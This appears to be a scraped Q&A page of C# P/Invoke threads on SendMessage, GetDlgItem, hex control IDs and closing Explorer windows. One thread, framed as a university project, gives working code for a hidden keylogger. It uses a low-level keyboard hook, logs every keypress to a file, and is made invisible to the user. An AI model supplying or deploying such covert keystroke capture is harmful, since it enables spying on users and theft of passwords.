I try to simulate button click using sendmessage.
Here is the declaration:
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int SendMessage(int hWnd, int msg, int wParam, String lParam);
Here is the code:
// get window handle through change password link
IntPtr objHandle = new IntPtr();
objHandle =getWindowObjHandleByText(ChangePasswordLink,(IntPtr)hwnd);
// click the change password
SendMessage((int)objHandle,0x00F5, 0, null);
The sendmessage works perfect on windows 7 machine but Sendmessae doesnt work on windows10.
Kindly advice.
Related
I have an University project which requires to create some sort of keylogger with c#, I mean to get all the keyboard inputs from the user and put them in a file, the input which in this case is a text needs also to be encrypted. This application need to be a windows service, I'm new to windows services but I have successfully managed to create a windows service using Visual Studio 2015.The problem now is at the keylogger, I've searched for quite a long now but most keyloggers I've seen have been developed using windows forms and not windows services. I have this function:
protected override void OnStart(string[] args)
{
System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt");
}
What I have done here is that when the service starts it creates a new .txt file called Output at the directory of the application where all the inputs of the user are going to be saved or recorded.
Could someone help me or redirect me somewhere so I could create a simple keylogger using a windows service? I've managed to create a keylogger with windows forms using a timer which would save the data every second but using a windows service seems to be a bit hard for me.
From this question it looks like it may not be possible to do from a service, for security reasons.
However, you could create a program which uses keybaord hooks and does not display any console or windows, meaning it will be hidden from the user (just like a service would).
To do this, first declare some fields:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
Then import these native methods:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
Create these methods, where HookCallback will handle any detected key presses (so write to file here uder the comment)
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
var keyName = Enum.GetName(typeof(Keys), vkCode);
var path = #"C:\test\logfile.txt";
// Handle the key press here
var text = ((Keys)vkCode).ToString();
File.AppendAllText(path, text);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
SetHook basically subscribes to the keyboard hook for us:
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
Finally, add these lines to your Main method:
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
Now to make the program invisible, simply change the Output Type property to a Windows Application instead of a Console Application.
I hope this is helpul to you
I am using C# application to monitor another program, and simply click a button when inactivity is detected.
I am using Pinvoke and that works great. My issue is loading the button control ID from an INI which is in hex format. inif simply reads INI file for hex string ("000003F2").
//Load control id from INI file
public int m_button_id;
int m_button_id = Int32.Parse(inif.Read("MMonitor", "button_id"));
Now I need this to work with the following...
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr GetDlgItem(IntPtr hWnd, int nIDDlgItem);
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(IntPtr hWnd, int Msg, int wParam, IntPtr lParam);
//Click Button
IntPtr hWndButton = GetDlgItem(m_handle, m_button_id);
int wParam = (BN_CLICKED << 16) | (m_button_id & 0xffff);
SendMessage(m_handle, WM_COMMAND, wParam, hWndButton);
m_button_id has to be in the format of hex not decimal. It should load this "000003F2" from INI and set it equal to m_button_id. I am having so many issues due to it being a string.
This works fine if I set manually...
public int m_button_id = 0x3F2;
Use Convert.ToInt32(hexString, 16)
or int.Parse(hexString, System.Globalization.NumberStyles.HexNumber)
How to pass the handle which I got using spy++ tool in sendmessage?
ie. I want to pass this handle
Handle Got from spy++ 00010540
in this function
SendMessage(buttonHandle, WM_HSCROLL, (IntPtr)SB_LINERIGHT, IntPtr.Zero);
where button handle is of type IntPtr.I want to substitute buttonhandle with the above value.
Thanks
Just new IntPtr(0x00010540) should work. For example like this:
[DllImport("user32.dll", CharSet = CharSet.Auto)]
static extern IntPtr SendMessage(
IntPtr hWnd,
UInt32 Msg,
IntPtr wParam,
IntPtr lParam);
SendMessage(
new IntPtr(0x00010540),
0x0112, // WM_SYSCOMMAND
new IntPtr(0xF020), // SC_MINIMIZE
IntPtr.Zero);
Using Winspector I've found out the ID of the child textbox I want to change is 114. Why isn't this code changing the text of the TextBox?
[DllImport("user32.dll")]
static extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
[DllImport("user32.dll")]
public static extern int SendMessage(IntPtr hWnd, int msg, int Param, string s);
const int WM_SETTEXT = 0x000c;
private void SetTextt(IntPtr hWnd, string text)
{
IntPtr boxHwnd = GetDlgItem(hWnd, 114);
SendMessage(boxHwnd, WM_SETTEXT, 0, text);
}
The following is what I've used successfully for that purpose w/ my GetLastError error checking removed/disabled:
[DllImport("user32.dll", SetLastError = false)]
public static extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
public static extern IntPtr SendMessage(HandleRef hWnd, uint Msg, IntPtr wParam, string lParam);
public const uint WM_SETTEXT = 0x000C;
private void InteropSetText(IntPtr iptrHWndDialog, int iControlID, string strTextToSet)
{
IntPtr iptrHWndControl = GetDlgItem(iptrHWndDialog, iControlID);
HandleRef hrefHWndTarget = new HandleRef(null, iptrHWndControl);
SendMessage(hrefHWndTarget, WM_SETTEXT, IntPtr.Zero, strTextToSet);
}
I've tested this code and it works, so if it fails for you, you need to be sure that you are using the right window handle (the handle of the Dialog box itself) and the right control ID. Also try something simple like editing the Find dialog in Notepad.
I can't comment yet in the post regarding using (char *) but it's not necessary. See the second C# overload in p/Invoke SendMessage. You can pass String or StringBuilder directly into SendMessage.
I additionally note that you say that your control ID is 114. Are you certain WinSpector gave you that value in base 10? Because you are feeding it to GetDlgItem as a base 10 number. I use Spy++ for this and it returns control IDs in base 16. In that case you would use:
IntPtr boxHwnd = GetDlgItem(hWnd, 0x0114);
Please convert your control id (obtained from spy ++) from Hexdecimal Number to Decimal Number and pass that value to the GetDlgItem function.With this
you will get the handle of Text box.This worked for me.
[DllImport("user32.dll")]
static extern IntPtr GetDlgItem(IntPtr hDlg, int nIDDlgItem);
[DllImport("user32.dll")]
public static extern int SendMessage(IntPtr hWnd, int msg, int Param, string s);
const int WM_SETTEXT = 0x000c;
private void SetTextt(IntPtr hWnd, string text)
{
IntPtr boxHwnd = GetDlgItem(hWnd, 114);
SendMessage(boxHwnd, WM_SETTEXT, 0, text);
}
Are you sure you are passing text right? SendMessage last param should be a pointer to char* containing text you want to set.
Look at my "crude hack" of setting text in
How to get selected cells from TDBGrid in Delphi 5
this is done in Delphi 5, where PChar is char* alias, and I simply cast it as int (Integer in Delphi).
You must make sure that "text" is allocated in the external app's memory space. You will not be able to allocate text in the caller app and pass it to another app as each of them will have their own private memory space.
I have a C# application that uses the SendMessage pinvoke method to send a "close window" message (WM_CLOSE / 16) to various windows outside the application. This works great, except when the window in question is a Windows Explorer window. I do not get an exception, but the window does not close.
Here's the signature:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = false)]
internal static extern IntPtr SendMessage(HandleRef hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
Is there a different message that I need to send to Windows Explorer windows? Or an alternate way to accomplish this?
an alternative solution would be to use PostMessage win API call instead of SendMessage, below is an example which worked fine for me (I'm using winXP sp3):
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.Dll")]
public static extern int PostMessage(IntPtr hWnd, UInt32 msg, int wParam, int lParam);
private const UInt32 WM_CLOSE = 0x0010;
...
IntPtr hWnd = FindWindow("ExploreWClass", null);
if (hWnd.ToInt32()!=0) PostMessage(hWnd, WM_CLOSE, 0, 0);
differences between PostMessage and SendMessage api call are described here: http://msdn.microsoft.com/en-us/magazine/cc301431.aspx